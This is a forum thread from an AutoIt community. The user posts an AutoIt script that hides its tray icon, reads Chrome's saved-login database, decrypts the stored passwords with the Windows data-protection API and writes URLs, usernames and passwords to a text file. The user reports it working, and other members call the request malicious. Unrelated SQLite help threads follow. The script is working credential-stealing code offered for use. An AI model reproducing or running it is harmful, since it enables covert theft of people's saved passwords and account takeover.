Jump to content
Sign in to follow this  
flashcoder

[SOLVED] Trouble to access Google Chrome database

Recommended Posts

flashcoder

Hello,

I'm wanting catch all stored urls in Google Chrome and as example I had found a code that promisse return all logins (with passwords) stored on Chrome database, but this example don't have worked for me. 

PS: I have several logins stored in Chrome database

Some have a idea about this, because this don't work?

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Version=beta
#AutoIt3Wrapper_UseUpx=n
#AutoIt3Wrapper_UseX64=n
#AutoIt3Wrapper_Res_Language=1080
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
    
     #include <MsgBoxConstants.au3>
     #include <CryptProtect.au3>
     #include <sqlite.au3>
     #include <sqlite.dll.au3>
 
     Opt("TrayIconHide",1)
 
     $file=@scriptdir &"\passwords.txt"
     if fileexists($file) then filedelete($file)
     $file_handle= fileopen($file ,1)
     if $file_handle<>-1 then
     filewrite($file_handle, chrome() )
     fileflush($file_handle)
     fileclose($file_handle)
     endif
 
     func chrome()
     local $q, $r, $pwds,$fn=envget("localappdata") & "\google\chrome\user data\default\login data"
     if fileexists($fn)=false then return ""
     _sqlite_startup()
     _sqlite_open($fn)
     _sqlite_query(-1, "select * from logins;", $q)
     while _sqlite_fetchdata($q, $r) = 0
     $pwds = $pwds & "url: "& $r[0] & @crlf &"usr: "& $r[3] & @crlf &"pwd: "& _CryptUnprotectData( $r[5],"") & @crlf & @crlf
     wend
     _sqlite_close()
     _sqlite_shutdown()
     return $pwds
     endfunc

 

Edited by flashcoder

Share this post


Link to post
Share on other sites
AutoBert
1 hour ago, flashcoder said:

I had found a code that promisse return all logins (with passwords) stored on Chrome database, but this example don't have worked for me. 

I hope this will never be possible.

Share this post


Link to post
Share on other sites
Unc3nZureD
2 hours ago, AutoBert said:

I hope this will never be possible.

This is already possible and well-known (at least in other languages, like C/++).

Share this post


Link to post
Share on other sites
flashcoder
2 hours ago, Unc3nZureD said:

This is already possible and well-known (at least in other languages, like C/++).

This code above works fine, I had forgot of download SQLite3.dll and put on C:\Windows\System32 folder.

Share this post


Link to post
Share on other sites
giangnguyen

You also are looking for creating hidden process as well. You seems VERY malicious.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

  • Similar Content

    • Seminko
      By Seminko
      I use Chrome's 'Translate this page' functionality quite a lot at work. My workflow is usually translating the page to english so I know what it is about, finding correct lines, translating it back to the original language so I can grab the correct XPath (since translating it, updates the structure and most importantly the text displayed, obviously), and rinse and repeat.
      Since I do it all the time, each unnecessary click in the end amounts to quite some time I would rather be spending actually working. You have to click the translate button, it asks whether you want to translate the page, you have to click yes. Then sometimes the little window is in the way so you click it off but when you need to translate back to the original language you have to click the little icon again.
      How would one go about automating it?
      Checked the forum and it seems that the old Chrome UDF doesn't work and the best way for interacting with Chrome is the WebDriver UDF which, from what I've read and tested a bit, creates a new, different instance of Chrome.
      I tried using the good old MouseClick but I don't find it reliable. Also ControlClick seems to be out of the picture since the whole Chrome window is "one single control".
      Any ideas are appreciated.
    • Eminence
      By Eminence
      Hello,
      Using SQLite, I was trying to select a specific column with having duplicate entries removed by using the DISTINCT function. 
      Local $sQuery = "SELECT DISTINCT supervisor, COUNT(DISTINCT employee_name) FROM data_db What the above snippet does is just list only one supervisor but with the total count of unique employee names in the whole database when it should be listing out all supervisor entries from the database and list the total count of employees per each supervisors. If I remove the COUNT function, it does list out all unique entries of supervisor names from the list. Attached is a screenshot of an example database as well. 
      Any help will be much appreciated. Thank you!

    • Seminko
      By Seminko
      Hey,
      I have a script that uses SQLite. It worked without a hiccup on my W7 system.
      However, last week I bought a new machine, installed W10 and autoit, and now I'm getting an error during _SQLite_Startup.
      Can anyone advise on how to find what's wrong? Tried checking $__g_hPrintCallback_SQLite but that returns nothing.
       
      Tried downloading the latest version of the dll from the link in the function page and I also replaced the default SQLite.dll.au3 that came with AutoIt with the one that came with the latest SQLite version zip.
       
      Relevant parts of my script:
      #include <SQLite.au3> #include <SQLite.dll.au3> _SQLite_Startup(@ScriptDir & "\Config\sqlite3_x64.dll", False, 1) If @error Then MsgBox(16, "SQLite Error", "SQLite3.dll Can't be Loaded! - " & $__g_hPrintCallback_SQLite & @CRLF & @CRLF & "Exiting application / Zavolej Honzovi") Exit -1 EndIf  
      Thanks
      S.
    • FrancescoDiMuro
      By FrancescoDiMuro
      Good evening everyone
      I am building a management for the company I work with, and I just imported a real amount of rows ( about 29000 ), in my SQLite DB.
      The thing I am not understanding, is the time that the script takes to build this amount of rows in the ListView.
      I didn't measure it, but I think it took 2 minutes or so to create each ListView item...
      It is normal that it takes so much time?
      What can I do to improve the creation of the items?

      Here's the code I am using to query and to create ListView items...
      ; Articles ListView: Global $lvwArticles = GUICtrlCreateListView("ID|Fornitore|Codice|Descrizione|EU|Prezzo|Sconto Applicato|Note", 14, 87, 1507, 660, BitOR($GUI_SS_DEFAULT_LISTVIEW,$LVS_SORTASCENDING,$LVS_SORTDESCENDING), BitOR($WS_EX_CLIENTEDGE,$LVS_EX_GRIDLINES,$LVS_EX_FULLROWSELECT)) ; Query $strQuery = "SELECT * FROM ARTICOLI;" ; Query Execution _SQLite_GetTable2d($objDatabase, $strQuery, $arrResult, $intRows, $intColumns) If @error Then ; Error Handling Else ; Cleaning the ListView _GUICtrlListView_DeleteAllItems($lvwArticles) If @error Then ; Error Handling Else ; No records in the Table If UBound($arrResult) < 2 Then ; Error Handling Else _GUICtrlListView_BeginUpdate($lvwArticles) For $intCounter = 1 To UBound($arrResult) - 1 $strListViewItem = $arrResult[$intCounter][0] & "|" & _ $arrResult[$intCounter][1] & "|" & _ $arrResult[$intCounter][2] & "|" & _ $arrResult[$intCounter][3] & "|" & _ $arrResult[$intCounter][4] & "|" & _ $arrResult[$intCounter][5] & "|" & _ $arrResult[$intCounter][6] & "|" & _ $arrResult[$intCounter][7] $objListViewItem = GUICtrlCreateListViewItem($strListViewItem, $lvwArticles) Next _GUICtrlListView_EndUpdate($lvwArticles) EndIf EndIf EndIf Thanks in advance


      Best Regards.
    • dangr82
      By dangr82
       
      I have created this function for a database, but I can not make it work. I always have two error messages: "not an error" ... and the file created, in the script directory, does not contain anything.
      Global $sDBName = "Hen.db" Func DatabaseTable() Local $sConnDB _SQLite_Startup() If @error Then MsgBox($MB_SYSTEMMODAL, "SQLite Error", "SQLite.dll Can't be Loaded!") Exit -1 EndIf $sConnDB = _SQLite_Open($sDBName) If @error Then MsgBox($MB_SYSTEMMODAL, "SQLite Error", "Can't Load Database!") Exit -1 EndIf If Not _SQLite_Exec($sDBName, 'CREATE TABLE Animal ("Name", "Age");') = $SQLITE_OK Then MsgBox($MB_SYSTEMMODAL, "SQLite Error", _SQLite_ErrMsg()) If Not _SQLite_Exec($sDBName, 'INSERT INTO Animale VALUES ("Charlie","5");') = $SQLITE_OK Then MsgBox($MB_SYSTEMMODAL, "SQLite Error", _SQLite_ErrMsg()) _SQLite_Close($sConnDB) _SQLite_Shutdown() EndFunc  
×